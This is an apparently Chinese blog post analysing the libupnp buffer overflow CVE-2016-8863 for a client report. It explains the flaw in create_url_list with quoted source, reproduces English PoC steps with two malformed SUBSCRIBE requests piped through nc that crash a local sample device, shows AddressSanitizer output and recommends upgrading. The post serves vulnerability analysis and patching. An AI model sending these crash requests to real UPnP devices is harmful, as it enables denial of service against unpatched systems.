1、libupnp问题分析:

(1)问题简述:

根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863。

(2)漏洞原理分析:

该漏洞发生在upnpSDK库中,upnp/src/gena/gena_device.c.文件的create_url_list函数中,由于对输入数据未进行有效检验,造成对缓冲区溢出,可以导致服务器拒绝服务或崩溃;攻击者也可以精心制造一个攻击URL,通过subscribe request的callback header来执行任意代码。

问题主要出现在下列这个for循环中,这个循环主要是解析订阅请求的Callback头里的URL列表,如果return_code == UPNP_E_OUTOF_MEMORY或者temp.hostport.text.size == 0,那么urlcount变量不会增加。

如果提供了2个URL,第一个被正确解析,第二个没有,此时URLcount会等于1并且跳出循环。

for( i = 0; i < URLS->size; i++ ) {

    if( ( URLS->buff[i] == '<' ) && ( i + 1 < URLS->size ) ) {

        if( ( ( return_code = parse_uri( &URLS->buff[i + 1],

                                         URLS->size - i + 1,

                                         &temp ) ) == HTTP_SUCCESS )

            && ( temp.hostport.text.size != 0 ) ) {

            URLcount++;

        } else {

            if( return_code == UPNP_E_OUTOF_MEMORY ) {

                return return_code;

            }

        }

    }

}

下一段代码是溢出实际发生的地方。第一个条件为真是因为urlcount 1,接下来,分配一个缓冲区(out URL)来保存原始URI字符串的副本。然后,分配一个url_type类型的数组去存储每一个URL解析出来的具体内容。此时该数组的大小是1,因为urlcount=1;        但是问题是for循环将会再次解析原始字符串,

这两个循环的唯一区别就是解析的URL存储在连续的索引中,而不是一个连续变量里。因此,当它解析第二个URI时,它将- > parsedURLs[1]的值传给parse_uri()函数,这是函数传递的一个数组结尾的地址。当parse_uri()填充该结构的值时,数组的地址就会被写入。

   
if( URLcount > 0 ) {
out->URLs = malloc(URLS->size + 1); out->parsedURLs = malloc(sizeof(uri_type) * URLcount); // omitted for readability memcpy( out->URLs, URLS->buff, URLS->size ); out->URLs[URLS->size] = 0; URLcount = 0; for( i = 0; i < URLS->size; i++ ) { if( ( URLS->buff[i] == '<' ) && ( i + 1 < URLS->size ) ) { if( ( ( return_code = parse_uri( &out->URLs[i + 1], URLS->size - i + 1, &out->parsedURLs[URLcount] ) ) == HTTP_SUCCESS ) && ( out->parsedURLs[URLcount].hostport.text.size != 0 ) ) { URLcount++; } else { if( return_code == UPNP_E_OUTOF_MEMORY ) { free( out->URLs ); free( out->parsedURLs ); out->URLs = NULL; out->parsedURLs = NULL; return return_code; } } } } }

根据恶意URI的格式不同,会导致不同的问题。有时,overwrite没有明显的影响,有时它会使程序崩溃。至少,可以实现拒绝服务攻击,也可以将其用于远程代码执行。

(赵学鹏 2017.9.22)

(3)漏洞Poc脚本

First, compile for 32-bit with debugging enabled and an installation directory set. The reason for the setting the installation directory and compiling for 32-bits is so that “make install” results in a single binary that is easy to debug.

.

/configure --prefix=<install dir> --enable-debug --host=i686-linux-gnu CFLAGS="-m32 -fno-omit-frame-pointer" LDFLAGS=-m32

make clean;make install

To setup the default sample, which emulates a TV device, do the following from the libupnp directory:

cd upnp/sample

mkdir tvdevice

cp -r web tvdevice

To run the sample change to the directory you just created and run the binary:

cd tvdevice

../.libs/tv_device

With the sample running go to another terminal window. Enter the following to create a non-malicious subscription message:

printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST: 0.0.0.0:49152\r\nCALLBACK: <http://127.0.0.1:49153>\r\nNT: upnp:event\r\nTIMEOUT: Second-1801\r\n\r\n" | nc 127.0.0.1 49152

One form of a malicious message will crash the application is:

printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST: 0.0.0.0:49152\r\nCALLBACK: <http://127.0.0.1:49153><http://a:49153\r\nNT: upnp:event\r\nTIMEOUT: Second-1801\r\n\r\n" | nc 127.0.0.1 49152

Another is:

printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST: 0.0.0.0:49152\r\nCALLBACK: <http://127.0.0.1:49153><//:49153\r\nNT: upnp:event\r\nTIMEOUT: Second-1801\r\n\r\n" | nc 127.0.0.1 49152

Below is the output of address sanitizer from either of the two requests above (add “-fsanitize=address” to CFLAGS during configure).

=================================================================

==13048== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xeef07710 at pc 0xf698b0c3 bp 0xf1463998 sp 0xf1463988

WRITE of size 4 at 0xeef07710 thread T8

    #0 0xf698b0c2 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x460c2)

    #1 0xf698cb13 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x47b13)

    #2 0xf6992e1c (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4de1c)

    #3 0xf6993bae (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4ebae)

    #4 0xf69999f3 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x549f3)

    #5 0xf6964b8f (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fb8f)

    #6 0xf6964e58 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fe58)

    #7 0xf693baa4 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5aa4)

    #8 0xf6a02766 (/usr/lib/libasan.so.0.0.0+0x1b766)

    #9 0xf69f13bc (/usr/lib/libasan.so.0.0.0+0xa3bc)

    #10 0xf68feb2b (/usr/lib/libpthread-2.17.so+0x6b2b)

    #11 0xf683276d (/usr/lib/libc-2.17.so+0xf776d)

0xeef07710 is located 8 bytes to the right of 168-byte region [0xeef07660,0xeef07708)

allocated by thread T8 here:

    #0 0xf69fe45f (/usr/lib/libasan.so.0.0.0+0x1745f)

    #1 0xf69928da (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4d8da)

    #2 0xf6993bae (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4ebae)

    #3 0xf69999f3 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x549f3)

    #4 0xf6964b8f (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fb8f)

    #5 0xf6964e58 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fe58)

    #6 0xf693baa4 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5aa4)

    #7 0xf6a02766 (/usr/lib/libasan.so.0.0.0+0x1b766)

    #8 0xf683276d (/usr/lib/libc-2.17.so+0xf776d)

Thread T8 created by T0 here:

    #0 0xf69f12ca (/usr/lib/libasan.so.0.0.0+0xa2ca)

    #1 0xf693be13 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5e13)

    #2 0xf693c882 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x6882)

    #3 0xf6967c74 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x22c74)

    #4 0xf69a2aee (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x5daee)

    #5 0xf69a2d2d (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x5dd2d)

    #6 0x804fc17 (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x804fc17)

    #7 0x805056c (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x805056c)

    #8 0x8050631 (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x8050631)

    #9 0xf6754942 (/usr/lib/libc-2.17.so+0x19942)

(4)漏洞修复

  Libupnp官方升级日志中显示在Version 1.6.21中修复了此漏洞:

  建议设备对libupnoSDK版本升级到1.6.21以上

http://pupnp.sourceforge.net/

CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc的更多相关文章

  1. TP-Link TL-WR841N v14 CVE-2019-17147 缓冲区溢出漏洞分析笔记v2018.12.31

    0x00 背景 Httpd服务中的缓冲区溢出漏洞 复现参考文章https://www.4hou.com/posts/gQG9 Binwalk -Me 解压缩 File ./bin/busybox文件类 ...

  2. cve-2010-3333 Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 分析

    用的是泉哥的POC来调的这个漏洞 0x0 漏洞调试    Microsoft Office Open XML文件格式转换器栈缓冲区溢出漏洞 Microsoft Office 是微软发布的非常流行的办公 ...

  3. CVE-2011-0104 Microsoft Office Excel缓冲区溢出漏洞 分析

    漏洞简述   Microsoft Excel是Microsoft Office组件之一,是流行的电子表格处理软件.        Microsoft Excel中存在缓冲区溢出漏洞,远程攻击者可利用此 ...

  4. CVE-2010-2883Adobe Reader和Acrobat CoolType.dll栈缓冲区溢出漏洞分析

       Adobe Acrobat和Reader都是美国Adobe公司开发的非常流行的PDF文件阅读器. 基于Window和Mac OS X的Adobe Reader和Acrobat 9.4之前的9.x ...

  5. Heartbleed心脏出血漏洞原理分析

    Heartbleed心脏出血漏洞原理分析 2017年01月14日 18:14:25 阅读数:2718 1. 概述    OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷.OpenSS ...

  6. 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!

    零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...

  7. SEED信息安全实验系列:缓冲区溢出漏洞实验

    缓冲区溢出漏洞实验 本课程详细出自http://www.shiyanlou.com/courses/231,转载请注明出处. 一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情 ...

  8. Nagios Core/Icinga 基于栈的缓冲区溢出漏洞

    漏洞名称: Nagios Core/Icinga 基于栈的缓冲区溢出漏洞 CNNVD编号: CNNVD-201402-484 发布时间: 2014-03-03 更新时间: 2014-03-03 危害等 ...

  9. Samba ‘dcerpc_read_ncacn_packet_done’函数缓冲区溢出漏洞

    漏洞名称: Samba ‘dcerpc_read_ncacn_packet_done’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201312-169 发布时间: 2013-12-12 更新时间 ...

随机推荐

  1. v-if 与 v-show 区别

    使用 v-if 时,如果在初始化渲染的时候条件为false, 那么不会做任何事情. v-if 首次局部编译不会发生,直到条件变为true. v-if 切换显示内容的消耗更高,而 v-show 在初始化 ...

  2. MySQL 查看编码 排序规则

    查看数据库的排序规则 mysql> show variables like 'collation%'; +----------------------+-------------------+ ...

  3. C# 解析 json Newtonsoft果然强大,代码写的真好

    C# 解析 json JSON(全称为JavaScript Object Notation) 是一种轻量级的数据交换格式.它是基于JavaScript语法标准的一个子集. JSON采用完全独立于语言的 ...

  4. BASIC-25_蓝桥杯_回形取数

    示例代码: #include <stdio.h>#define N 200 int main(void){ int num[N][N]; int i= 0, j = 0 , k = 0 , ...

  5. 【Spring学习笔记-MVC-16】Spring MVC之重定向-解决中文乱码

    概述 spring MVC框架controller间跳转,需重定向,主要有如下三种: 不带参数跳转:形如:http://localhost:8080/SpringMVCTest/test/myRedi ...

  6. eclipse一些操作记录

    1.eclipse debug的时候想知道一个表达式执行的结果值,可以选中,按ctrl+shift+i来看返回的结果值:   2.eclipse java build path有个source,将so ...

  7. 杂项-frame:Rails框架

    ylbtech-杂项-frame:Rails框架 Rails框架首次提出是在2004年7月,它的研发者是26岁的丹麦人David Heinemeier Hansson.不同于已有复杂的Web 开发框架 ...

  8. [转]Serv-U 配置

  9. python 正则表达式的处理

    1.基本用法 #!/usr/bin/env python # coding=utf-8 import re # example 1 text ="fjsk test\t fjskd bar\ ...

  10. 【转载】Docker 经验之谈

    本文来源:Ghostcloud原创     对于用户来说,可能一开始在不了解的情况下会对容器报以拒绝的态度,但是在尝到容器的甜头.体验到它的强大性能之后,相信大家最终是无法抵挡其魅力的.容器技术能够解 ...